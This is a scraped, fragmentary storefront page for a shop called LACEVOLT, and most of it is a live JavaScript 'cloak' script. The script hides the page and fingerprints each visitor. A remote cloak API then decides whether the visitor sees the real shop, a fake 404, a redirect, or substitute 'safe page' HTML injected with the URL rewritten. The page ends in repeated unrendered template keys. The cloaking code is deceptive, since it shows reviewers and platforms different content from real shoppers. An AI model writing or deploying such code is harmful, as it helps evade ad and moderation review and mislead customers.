Sixth Street
– LACEVOLT
';
}
function replaceDocumentHtml(html) {
// document.open() 会清空旧文档,无需先 revealPage()——
// 先 reveal 会让真实页在写入安全页之前闪现一帧。
var landingUrl = window.__CLOAK_PIXIE_LANDING_URL__ || window.location.href;
document.open();
document.write(html);
document.close();
if (window.history && window.history.replaceState) {
window.history.replaceState(null, '', landingUrl);
}
}
function appendPixieEmbedParams(url) {
var assetBase = window.__CLOAK_PIXIE_ASSET_BASE__ || '';
if (!assetBase) {
return url;
}
var sep = url.indexOf('?') >= 0 ? '&' : '?';
return url + sep + 'embed_asset_base=' + encodeURIComponent(assetBase);
}
function fetchInlineHtml(contentUrl) {
return fetch(appendPixieEmbedParams(contentUrl), {
method: 'GET',
credentials: 'omit',
headers: { Accept: 'text/html' },
}).then(function (res) {
if (!res.ok) {
throw new Error('fetch failed: ' + res.status);
}
return res.text();
});
}
function show404Page() {
// 先清除 上的内联隐藏样式,避免残留
var htmlEl = document.documentElement;
if (htmlEl) {
htmlEl.style.removeProperty('visibility');
htmlEl.style.removeProperty('opacity');
htmlEl.style.removeProperty('background');
}
var style = document.getElementById('cloak-a-preload-hide');
if (style && style.parentNode) {
style.parentNode.removeChild(style);
}
document.documentElement.innerHTML = '
'
+ ''
+ '
404 Not Found'
+ '
'
+ '404
'
+ 'Not Found
';
}
function applyRedirect(redirect) {
if (!redirect || typeof redirect !== 'object') {
revealPage();
return Promise.resolve();
}
var mode = String(redirect.mode || 'curl').toLowerCase();
var url = redirect.url || '';
var contentUrl = redirect.content_url || '';
if (mode === '404') {
show404Page();
return Promise.resolve();
}
if (mode === '302' || mode === 'js') {
if (url) {
window.location.replace(url);
} else {
showBlankPage();
}
return Promise.resolve();
}
if (!contentUrl) {
revealPage();
return Promise.resolve();
}
return fetchInlineHtml(contentUrl).then(function (html) {
replaceDocumentHtml(html);
});
}
function loadScript(url) {
return new Promise(function (resolve, reject) {
var script = document.createElement('script');
script.src = url;
script.async = true;
script.onload = function () { resolve(); };
script.onerror = function () { reject(new Error('script load failed: ' + url)); };
(document.head || document.documentElement).appendChild(script);
});
}
function loadFingerprintScript(shop, paths) {
return new Promise(function (resolve, reject) {
var done = false;
var timer = setTimeout(function () {
if (!done) {
done = true;
console.warn('[cloak_a] 设备指纹脚本超时,继续判定');
resolve();
}
}, 12000);
window.__cloakFingerprintDone = function () {
if (done) {
return;
}
done = true;
clearTimeout(timer);
resolve();
};
loadScript(paths.fingerprint + buildQuery(shop)).catch(function (err) {
if (!done) {
done = true;
clearTimeout(timer);
reject(err);
}
});
});
}
function loadSecondaryRisk(shop, paths, logId, clientIp, scriptUrl) {
return new Promise(function (resolve, reject) {
var done = false;
var timer = setTimeout(function () {
if (!done) {
done = true;
reject(new Error('secondary risk timeout'));
}
}, 30000);
window.__cloakStorefrontRiskDone = function (resp) {
if (done) {
return;
}
done = true;
clearTimeout(timer);
resolve(resp || {});
};
var url = scriptUrl || '';
if (!url) {
var extra = { log_id: logId, storefront: 1 };
if (clientIp) {
extra.client_ip = clientIp;
}
url = paths.cloakjs + buildQuery(shop, extra);
}
loadScript(url).catch(function (err) {
if (!done) {
done = true;
clearTimeout(timer);
reject(err);
}
});
});
}
function finalizeAfterSecondary(shop, paths, resp, logId, clientIp) {
if (resp && resp.link) {
window.location.replace(resp.link);
return Promise.resolve();
}
if (resp && (resp.result === true || resp.result === 'true')) {
if (resp.redirect) {
return applyRedirect(resp.redirect);
}
revealPage();
return Promise.resolve();
}
if (resp && (resp.result === false || resp.result === 'false')) {
var reason = (resp.reason || resp.message || '二次风控失败').toString();
return reportSecondaryAbort(shop, paths, logId, clientIp, reason).then(function (abortResult) {
if (abortResult.data && typeof abortResult.data.ok === 'boolean') {
return applyRedirect(abortResult.data.redirect);
}
revealPage();
});
}
return callCloakApi(shop, paths).then(function (retryResult) {
if (!retryResult.data || typeof retryResult.data.ok !== 'boolean') {
revealPage();
return;
}
return applyRedirect(retryResult.data.redirect);
});
}
function getUrlParam(name) {
var search = (window.location && window.location.search) || '';
var regex = new RegExp('[?&]' + name + '(?:=([^&]*))?(?:&|$)', 'i');
var match = regex.exec(search);
return match ? decodeURIComponent(match[1] || '') : '';
}
function callCloakApi(shop, paths, extra) {
var debugExtras = {};
if (getUrlParam('force_cloak') === '1') {
debugExtras.force_cloak = '1';
}
var url = paths.api + buildQuery(shop, debugExtras);
var payload = buildClientContext();
if (extra && typeof extra === 'object') {
Object.keys(extra).forEach(function (key) {
payload[key] = extra[key];
});
}
return fetch(url, {
method: 'POST',
credentials: 'include',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
}).then(function (res) {
return res.text().then(function (text) {
var data;
try {
data = JSON.parse(text);
} catch (e) {
data = null;
}
return { status: res.status, ok: res.ok, data: data };
});
});
}
function reportSecondaryAbort(shop, paths, logId, clientIp, message) {
return callCloakApi(shop, paths, {
secondary_aborted: true,
log_id: logId || 0,
client_ip: clientIp || '',
abort_reason: message || '二次风控未完成:前端超时或脚本加载失败',
});
}
function handleSecondaryWithFallback(shop, paths, logId, clientIp, scriptUrl) {
return loadSecondaryRisk(shop, paths, logId, clientIp, scriptUrl).then(function (resp) {
return finalizeAfterSecondary(shop, paths, resp, logId, clientIp);
}).catch(function (err) {
var msg = err && err.message ? err.message : 'secondary risk failed';
return reportSecondaryAbort(shop, paths, logId, clientIp, msg).then(function (abortResult) {
if (abortResult.data && typeof abortResult.data.ok === 'boolean') {
return applyRedirect(abortResult.data.redirect);
}
revealPage();
});
});
}
function runCloakFlow(shop, paths) {
return loadFingerprintScript(shop, paths).then(function () {
return callCloakApi(shop, paths);
}).then(function (result) {
if (!result.data || typeof result.data.ok !== 'boolean') {
revealPage();
return;
}
var data = result.data;
if (data.needs_fingerprint) {
return loadFingerprintScript(shop, paths).then(function () {
return callCloakApi(shop, paths);
}).then(function (retryResult) {
if (!retryResult.data || typeof retryResult.data.ok !== 'boolean') {
revealPage();
return;
}
data = retryResult.data;
if (data.needs_secondary) {
return handleSecondaryWithFallback(shop, paths, data.log_id || 0, data.client_ip, data.secondary_script_url || '');
}
return applyRedirect(data.redirect);
});
}
if (data.needs_secondary) {
return handleSecondaryWithFallback(shop, paths, data.log_id || 0, data.client_ip, data.secondary_script_url || '');
}
return applyRedirect(data.redirect);
});
}
function isPasswordPage() {
var path = window.location.pathname || '';
return /^\/password(?:\/|$)/i.test(path);
}
/**
* 是否处于 SHOPLINE 主题装修器的预览环境
* 装修器预览 iframe 的 URL 同时携带 preview 与 templateName 两个参数,缺一不可;
* 正常访客路由不会同时带这两个参数,命中即直通真实页。
*/
function isThemeEditorPreview() {
var search = (window.location && window.location.search) || '';
if (!search || search === '?') {
return false;
}
var hasPreview = /[?&]preview(?:=|&|$)/.test(search);
var hasTemplateName = /[?&]templateName(?:=|&|$)/.test(search);
return hasPreview && hasTemplateName;
}
function boot() {
if (isPasswordPage() || isThemeEditorPreview()) {
revealPage();
return;
}
var paths = cloakPaths();
if (!paths.origin) {
revealPage();
return;
}
ensureHidden();
var shop = resolveShop();
initPixieEmbedGlobals(paths, shop);
// 兜底计时:超过 60 秒仍未出结果则恢复显示(覆盖指纹 12s + 二次风控 30s + 重试的最坏路径)
revealFailsafeTimer = setTimeout(function () {
console.warn('[cloak_a] 判定异常超时,恢复页面显示');
revealPage();
}, 60000);
runCloakFlow(shop, paths).catch(function () {
revealPage();
});
}
boot();
})();
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio
-
products.product_list.save_ratio